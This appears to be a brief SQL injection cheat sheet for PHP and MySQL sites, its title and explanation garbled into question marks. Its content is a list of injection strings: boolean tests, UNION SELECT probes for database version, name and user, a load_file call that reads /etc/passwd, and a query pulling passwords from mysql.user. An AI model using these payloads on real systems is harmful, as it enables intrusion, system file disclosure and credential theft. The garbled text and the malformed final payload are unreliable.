PHP+MySQL ??? SQL ?????????????

SQL?????????????

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Night
Night’ and 1=1#
Night’ and 1=2#

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Night’ or 1=1#

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Night’ union select version()#

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Night’ union select database()#

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Night’ union select user()#

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Night’ union select session_user()#

Night’ union select system_user()#

Night’ union select load_file(‘/etc/passwd’)#

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Night’ select user ??password from mysql.user#

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